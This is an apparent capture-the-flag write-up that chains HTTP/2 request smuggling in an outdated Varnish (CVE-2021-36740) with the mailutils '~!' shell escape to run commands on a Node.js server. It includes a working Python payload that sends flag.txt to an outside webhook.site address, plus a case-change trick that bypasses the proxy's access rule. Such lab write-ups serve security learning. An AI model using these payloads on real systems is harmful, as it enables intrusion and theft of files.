Challenge
Join our waitlist and we'll let you know about apartment vacancies!
Walkthrough
We’re given a pretty simple nodejs express server.
app.use("/", express.static(path.join(__dirname, "public")));
app.use("/admin", express.static(path.join(__dirname, "admin")));
app.post("/waitlist", (req, res) => {
res.send("Sorry, the waitlist is currently closed.");
});
app.post("/admin/alert", (req, res) => {
if (req.body.msg) {
const proc = spawn("mail", ["-s", "ALERT", "all_residents@localhost"], { timeout });
proc.stdin.write(req.body.msg);
proc.stdin.end();
setTimeout(() => { kill(proc.pid); }, timeout);
}
res.end();
});
The server is behind a simple varnish reverse proxy.
sub vcl_recv {
if (req.url ~ "/admin" && !(req.http.Authorization ~ "^Basic TOKEN$")) {
return (synth(403, "Access Denied"));
}
}
TOKEN generated as such.
sed -i "s/TOKEN/$(base64 < /dev/urandom | fold -w 64 | tr '/+' '_-' | head -n 1)/" /etc/varnish/varnish.vcl
The server itself doesn’t have much surface area - the only user controlled input is on /admin/alert and we can only access that if we successfully guess 64 random bytes, unlikely. Checking the package.json revealed that expressJS was up to date so clearly the exploit wasn’t there. This prompted me to look into the varnish server especially with the challenge being clearly hinted as a request smuggling challenge.
The Dockerfile revealed the varnish version was clearly out of date:
FROM varnish:6.4.0
Digging around I found CVE-2021-36740.
Varnish Cache, with HTTP/2 enabled, allows request smuggling and VCL authorization bypass via a large Content-Length header for a POST request.
Looks promising, the hitch configuration has HTTP/2 enabled (alpn-protos = "h2, http/1.1"
) and we have a valid post endpoint that we can abuse (/waitlist
).
No POCs exist for this vulnerability so after playing with the Content-Length
header myself I managed to get request smuggling working.
import httpx
client = httpx.Client(http2=True, verify=False)
msg = '"hi"'
body = 'POST /admin/alert HTTP/1.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{{"msg": {}}}'.format(len(msg)+9, msg)
resp = client.post("https://localhost:4000/waitlist", headers={'Content-length': '0'}, data=body)
I added some request logging in the nodejs server to check my exploit locally.
POST /waitlist 200 2.834 ms - 40
writing hi
POST /admin/alert 200 13.788 ms - -
Now I had request smuggling working but that still didn’t get us the flag. Our input data was being passed into the body of an email generated by GNU mailutils.
const proc = spawn("mail", ["-s", "ALERT", "all_residents@localhost"], { timeout });
proc.stdin.write(req.body.msg);
Digging into the documentation I found that using mailutil commands you can actually execute shell commands within the mail body.
The ‘~!’ escape executes specified command and returns you to mail compose mode without altering your message.
Putting this all together I smuggled a request to the /admin/alert endpoint that executed a shell command leaking the flag.
import httpx
msg = '"~! python -c \\\"import urllib2; urllib2.urlopen(urllib2.Request(\'https://webhook.site/<redacted>\', open(\'flag.txt\', \'r\').read()))\\\""'
client = httpx.Client(http2=True, verify=False)
body = 'POST /admin/alert HTTP/1.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{{"msg": {}}}'.format(len(msg)+9, msg)
resp = client.post('https://localhost:4000/waitlist', headers={'Content-length': '0'}, data=body)
Pretty interesting “feature” for a cli mail client…
Solve
flag{5up3r_53cr3t_4nd_c001_f14g_g035_h3r3}
Bonus
My teammate Vie pointed out that in Varnish you can bypass the VCL and as such the need to smuggle a request by simply capitalizing characters in admin
.
$ curl https://localhost:4000/admin/alert -k -X POST
Access Denied%
$ curl https://localhost:4000/Admin/alert -k -X POST
$ # works due to the capital A
lol